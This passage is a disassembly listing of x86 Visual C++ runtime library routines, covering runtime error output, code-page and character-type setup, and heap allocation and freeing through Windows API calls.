		push	offset asc_4053E8 ; "\n\n"
		push	eax
		call	sub_402730
		push	ds:off_406DA4[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_402730
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_404573
		add	esp, 2Ch
		pop	edi
		jmp	short loc_403719
; ---------------------------------------------------------------------------


loc_4036F3:				; CODE XREF: sub_4035C9+3Cj
					; sub_4035C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_406DA4[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_402210
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_4050D8	; GetStdHandle
		push	eax
		call	ds:dword_40507C	; WriteFile


loc_403719:				; CODE XREF: sub_4035C9+2Ej
					; sub_4035C9+59j ...
		pop	esi
		leave
		retn
sub_4035C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40371C	proc near		; CODE XREF: sub_402A4C+5Ep
					; sub_403AE6+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405428
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4070A8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_40378B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_405424
		push	esi
		call	ds:dword_405070	; GetStringTypeW
		test	eax, eax
		jz	short loc_403769
		mov	eax, esi
		jmp	short loc_403786
; ---------------------------------------------------------------------------


loc_403769:				; CODE XREF: sub_40371C+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_406F38
		push	esi
		push	ebx
		call	ds:dword_405074	; GetStringTypeA
		test	eax, eax
		jz	loc_403851
		push	2
		pop	eax


loc_403786:				; CODE XREF: sub_40371C+4Bj
		mov	ds:dword_4070A8, eax


loc_40378B:				; CODE XREF: sub_40371C+2Fj
		cmp	eax, 2
		jnz	short loc_4037B4
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_40379C
		mov	eax, ds:dword_4070C4


loc_40379C:				; CODE XREF: sub_40371C+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_405074	; GetStringTypeA
		jmp	loc_403853
; ---------------------------------------------------------------------------


loc_4037B4:				; CODE XREF: sub_40371C+72j
		cmp	eax, 1
		jnz	loc_403851
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4037CA
		mov	eax, ds:dword_4070D4
		mov	[ebp+arg_10], eax


loc_4037CA:				; CODE XREF: sub_40371C+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_405078	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_403851
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_4021B0
		add	esp, 0Ch
		jmp	short loc_403820
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_403820:				; CODE XREF: sub_40371C+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_403851
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_405078	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_403851
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_405070	; GetStringTypeW
		jmp	short loc_403853
; ---------------------------------------------------------------------------


loc_403851:				; CODE XREF: sub_40371C+61j
					; sub_40371C+9Bj ...
		xor	eax, eax


loc_403853:				; CODE XREF: sub_40371C+93j
					; sub_40371C+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403865	proc near		; CODE XREF: sub_402D47+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_403876
		add	esp, 0Ch
		retn
sub_403865	endp


; =============== S U B	R O U T	I N E =======================================



sub_403876	proc near		; CODE XREF: sub_403865+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_407221[eax], cl
		jnz	short loc_4038A3
		cmp	[esp+arg_4], 0
		jz	short loc_40389C
		movzx	eax, ds:word_406AEA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_40389E
; ---------------------------------------------------------------------------


loc_40389C:				; CODE XREF: sub_403876+16j
		xor	eax, eax


loc_40389E:				; CODE XREF: sub_403876+24j
		test	eax, eax
		jnz	short loc_4038A3
		retn
; ---------------------------------------------------------------------------


loc_4038A3:				; CODE XREF: sub_403876+Fj
					; sub_403876+2Aj
		push	1
		pop	eax
		retn
sub_403876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038A7	proc near		; CODE XREF: sub_403C6B+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_403A40	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_407100
		mov	[ebp+arg_0], esi
		jz	loc_403A34
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_403A2A
		xor	edx, edx
		mov	eax, offset dword_406E38


loc_4038DB:				; CODE XREF: sub_4038A7+41j
		cmp	[eax], esi
		jz	short loc_403951
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_406F28
		jl	short loc_4038DB
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403A22
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		cmp	[ebp+var_18], 1
		mov	ds:dword_407100, esi
		rep stosd
		stosb
		mov	ds:dword_407324, ebx
		jbe	loc_403A10
		cmp	[ebp+var_12], 0
		jz	loc_4039E6
		lea	ecx, [ebp+var_11]


loc_40392E:				; CODE XREF: sub_4038A7+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4039E6
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_40393F:				; CODE XREF: sub_4038A7+A8j
		cmp	eax, edx
		ja	loc_4039DA
		or	ds:byte_407221[eax], 4
		inc	eax
		jmp	short loc_40393F
; ---------------------------------------------------------------------------


loc_403951:				; CODE XREF: sub_4038A7+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_407220
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_406E48[esi]


loc_40396D:				; CODE XREF: sub_4038A7+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4039A0


loc_403974:				; CODE XREF: sub_4038A7+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4039A0
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_403999
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_406E30[edx]


loc_40398E:				; CODE XREF: sub_4038A7+F0j
		or	ds:byte_407221[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_40398E


loc_403999:				; CODE XREF: sub_4038A7+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_403974


loc_4039A0:				; CODE XREF: sub_4038A7+CBj
					; sub_4038A7+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_40396D
		mov	eax, [ebp+arg_0]
		mov	ds:dword_40711C, 1
		push	eax
		mov	ds:dword_407100, eax
		call	sub_403A8A
		lea	esi, dword_406E3C[esi]
		mov	edi, offset dword_407110
		movsd
		movsd
		pop	ecx
		mov	ds:dword_407324, eax
		movsd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_4039DA:				; CODE XREF: sub_4038A7+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_40392E


loc_4039E6:				; CODE XREF: sub_4038A7+7Ej
					; sub_4038A7+8Bj
		push	1
		pop	eax


loc_4039E9:				; CODE XREF: sub_4038A7+14Fj
		or	ds:byte_407221[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4039E9
		push	esi
		call	sub_403A8A
		pop	ecx
		mov	ds:dword_407324, eax
		mov	ds:dword_40711C, 1
		jmp	short loc_403A16
; ---------------------------------------------------------------------------


loc_403A10:				; CODE XREF: sub_4038A7+74j
		mov	ds:dword_40711C, ebx


loc_403A16:				; CODE XREF: sub_4038A7+167j
		xor	eax, eax
		mov	edi, offset dword_407110
		stosd
		stosd
		stosd
		jmp	short loc_403A2F
; ---------------------------------------------------------------------------


loc_403A22:				; CODE XREF: sub_4038A7+51j
		cmp	ds:dword_4070AC, ebx
		jz	short loc_403A38


loc_403A2A:				; CODE XREF: sub_4038A7+27j
		call	sub_403ABD


loc_403A2F:				; CODE XREF: sub_4038A7+131j
					; sub_4038A7+179j
		call	sub_403AE6


loc_403A34:				; CODE XREF: sub_4038A7+1Dj
		xor	eax, eax
		jmp	short loc_403A3B
; ---------------------------------------------------------------------------


loc_403A38:				; CODE XREF: sub_4038A7+181j
		or	eax, 0FFFFFFFFh


loc_403A3B:				; CODE XREF: sub_4038A7+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A40	proc near		; CODE XREF: sub_4038A7+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_4070AC, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_403A60
		mov	ds:dword_4070AC, 1
		jmp	ds:dword_405064
; ---------------------------------------------------------------------------


loc_403A60:				; CODE XREF: sub_403A40+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_403A75
		mov	ds:dword_4070AC, 1
		jmp	ds:dword_405068
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A40+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_403A89
		mov	eax, ds:dword_4070D4
		mov	ds:dword_4070AC, 1

locret_403A89:				; CODE XREF: sub_403A40+38j
		retn
sub_403A40	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A8A	proc near		; CODE XREF: sub_4038A7+118p
					; sub_4038A7+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_403AB7
		sub	eax, 4
		jz	short loc_403AB1
		sub	eax, 0Dh
		jz	short loc_403AAB
		dec	eax
		jz	short loc_403AA5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403AA5:				; CODE XREF: sub_403A8A+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_403AAB:				; CODE XREF: sub_403A8A+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_403AB1:				; CODE XREF: sub_403A8A+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_403AB7:				; CODE XREF: sub_403A8A+9j
		mov	eax, 411h
		retn
sub_403A8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403ABD	proc near		; CODE XREF: sub_4038A7:loc_403A2Ap
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_407220
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_407110
		mov	ds:dword_407100, eax
		mov	ds:dword_40711C, eax
		mov	ds:dword_407324, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_403ABD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AE6	proc near		; CODE XREF: sub_4038A7:loc_403A2Fp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_407100
		call	ds:dword_40506C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_403C1F
		xor	eax, eax
		mov	esi, 100h


loc_403B10:				; CODE XREF: sub_403AE6+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_403B10
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_403B61
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_403B2F:				; CODE XREF: sub_403AE6+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_403B56
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_403B56:				; CODE XREF: sub_403AE6+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_403B2F
		pop	edi
		pop	ebx


loc_403B61:				; CODE XREF: sub_403AE6+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_407324
		push	ds:dword_407100
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_40371C
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_407324
		call	sub_4046FE
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_407100
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_407324
		call	sub_4046FE
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_403BDC:				; CODE XREF: sub_403AE6+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_403BFA
		or	ds:byte_407221[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_403BF2:				; CODE XREF: sub_403AE6+127j
		mov	ds:byte_407120[eax], dl
		jmp	short loc_403C16
; ---------------------------------------------------------------------------


loc_403BFA:				; CODE XREF: sub_403AE6+FCj
		test	dl, 2
		jz	short loc_403C0F
		or	ds:byte_407221[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_403BF2
; ---------------------------------------------------------------------------


loc_403C0F:				; CODE XREF: sub_403AE6+117j
		and	ds:byte_407120[eax], 0


loc_403C16:				; CODE XREF: sub_403AE6+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_403BDC
		jmp	short loc_403C68
; ---------------------------------------------------------------------------


loc_403C1F:				; CODE XREF: sub_403AE6+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_403C26:				; CODE XREF: sub_403AE6+180j
		cmp	eax, 41h
		jb	short loc_403C44
		cmp	eax, 5Ah
		ja	short loc_403C44
		or	ds:byte_407221[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_403C3C:				; CODE XREF: sub_403AE6+174j
		mov	ds:byte_407120[eax], cl
		jmp	short loc_403C63
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_403AE6+143j
					; sub_403AE6+148j
		cmp	eax, 61h
		jb	short loc_403C5C
		cmp	eax, 7Ah
		ja	short loc_403C5C
		or	ds:byte_407221[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_403C3C
; ---------------------------------------------------------------------------


loc_403C5C:				; CODE XREF: sub_403AE6+161j
					; sub_403AE6+166j
		and	ds:byte_407120[eax], 0


loc_403C63:				; CODE XREF: sub_403AE6+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_403C26


loc_403C68:				; CODE XREF: sub_403AE6+137j
		pop	esi
		leave
		retn
sub_403AE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C6B	proc near		; CODE XREF: sub_402D47+9p
					; sub_402D9F+Dp ...
		cmp	ds:dword_407448, 0
		jnz	short locret_403C86
		push	0FFFFFFFDh
		call	sub_4038A7
		pop	ecx
		mov	ds:dword_407448, 1

locret_403C86:				; CODE XREF: sub_403C6B+7j
		retn
sub_403C6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C87	proc near		; CODE XREF: sub_402D9F+9Dp
					; sub_4030A5+BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_403CB4
		push	esi
		call	sub_403D68
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_403CA6
		push	eax
		call	sub_403D93
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_403CA6:				; CODE XREF: sub_403C87+13j
		push	0
		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap


loc_403CB4:				; CODE XREF: sub_403C87+7j
		pop	esi
		retn
sub_403C87	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CB6	proc near		; CODE XREF: sub_402D9F+3Ap
					; sub_402D9F+6Fp ...

arg_0		= dword	ptr  4

		push	ds:dword_4070E0
		push	[esp+4+arg_0]
		call	sub_403CC8
		pop	ecx
		pop	ecx
		retn
sub_403CB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CC8	proc near		; CODE XREF: sub_403CB6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_403CF1


loc_403CCF:				; CODE XREF: sub_403CC8+27j
		push	[esp+arg_0]
		call	sub_403CF4
		test	eax, eax
		pop	ecx
		jnz	short locret_403CF3
		cmp	[esp+arg_4], eax
		jz	short locret_403CF3
		push	[esp+arg_0]
		call	sub_40494D
		test	eax, eax
		pop	ecx
		jnz	short loc_403CCF


loc_403CF1:				; CODE XREF: sub_403CC8+5j
		xor	eax, eax

locret_403CF3:				; CODE XREF: sub_403CC8+13j
					; sub_403CC8+19j
		retn
sub_403CC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CF4	proc near		; CODE XREF: sub_403CC8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_406F28
		ja	short loc_403D0C
		push	esi
		call	sub_4040BE
		test	eax, eax
		pop	ecx
		jnz	short loc_403D28


loc_403D0C:				; CODE XREF: sub_403CF4+Bj
		test	esi, esi
		jnz	short loc_403D13
		push	1
		pop	esi


loc_403D13:				; CODE XREF: sub_403CF4+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_407328
		call	ds:dword_405060	; RtlAllocateHeap


loc_403D28:				; CODE XREF: sub_403CF4+16j
		pop	esi
		retn
sub_403CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D2A	proc near		; CODE XREF: sub_403382+20p
		push	140h
		push	0
		push	ds:dword_407328
		call	ds:dword_405060	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4070FC, eax
		jnz	short loc_403D47
		retn
; ---------------------------------------------------------------------------


loc_403D47:				; CODE XREF: sub_403D2A+1Aj
		and	ds:dword_4070F4, 0
		and	ds:dword_4070F8, 0
		push	1
		mov	ds:dword_4070F0, eax
		mov	ds:dword_4070E8, 10h
		pop	eax
		retn
sub_403D2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D68	proc near		; CODE XREF: sub_403C87+Ap

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4070F8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4070FC
		lea	ecx, [eax+ecx*4]


loc_403D78:				; CODE XREF: sub_403D68+26j
		cmp	eax, ecx
		jnb	short loc_403D90
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_403D92
		add	eax, 14h
		jmp	short loc_403D78
; ---------------------------------------------------------------------------


loc_403D90:				; CODE XREF: sub_403D68+12j
		xor	eax, eax

locret_403D92:				; CODE XREF: sub_403D68+21j
		retn
sub_403D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D93	proc near		; CODE XREF: sub_403C87+16p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_403E59
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_403DEB
		mov	[ebp+arg_4], edi


loc_403DEB:				; CODE XREF: sub_403D93+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403E19
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_403E3D
; ---------------------------------------------------------------------------


loc_403E19:				; CODE XREF: sub_403D93+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403E3D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_403E3D:				; CODE XREF: sub_403D93+60j
					; sub_403D93+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_403E59:				; CODE XREF: sub_403D93+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_403E67
		push	3Fh
		pop	edi


loc_403E67:				; CODE XREF: sub_403D93+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_403F16
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_403E92
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_403E92:				; CODE XREF: sub_403D93+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_403EA4
		mov	edi, edx


loc_403EA4:				; CODE XREF: sub_403D93+10Dj
		cmp	ecx, edi
		jz	short loc_403F13
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403ED7
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_403EFB
; ---------------------------------------------------------------------------


loc_403ED7:				; CODE XREF: sub_403D93+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403EFB
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_403EFB:				; CODE XREF: sub_403D93+11Ej
					; sub_403D93+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_403F13:				; CODE XREF: sub_403D93+113j
		mov	edx, [ebp+var_8]


loc_403F16:				; CODE XREF: sub_403D93+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_403F25
		cmp	[ebp+arg_4], edi
		jz	loc_403FAE


loc_403F25:				; CODE XREF: sub_403D93+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403FAE
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_403F82
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F71
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_403F71:				; CODE XREF: sub_403D93+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_403FAB
; ---------------------------------------------------------------------------


loc_403F82:				; CODE XREF: sub_403D93+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403F98
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_403F98:				; CODE XREF: sub_403D93+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_403FAB:				; CODE XREF: sub_403D93+1EDj
		mov	ebx, [ebp+var_C]


loc_403FAE:				; CODE XREF: sub_403D93+18Cj
					; sub_403D93+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_4040B9
		mov	eax, ds:dword_4070F4
		test	eax, eax
		jz	loc_4040AB
		mov	ecx, ds:dword_4070EC
		mov	edi, ds:dword_405088
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, ds:dword_4070EC
		mov	eax, ds:dword_4070F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4070F4
		mov	ecx, ds:dword_4070EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4070F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4070F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_404039
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4070F4


loc_404039:				; CODE XREF: sub_403D93+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4040AB
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, ds:dword_4070F4
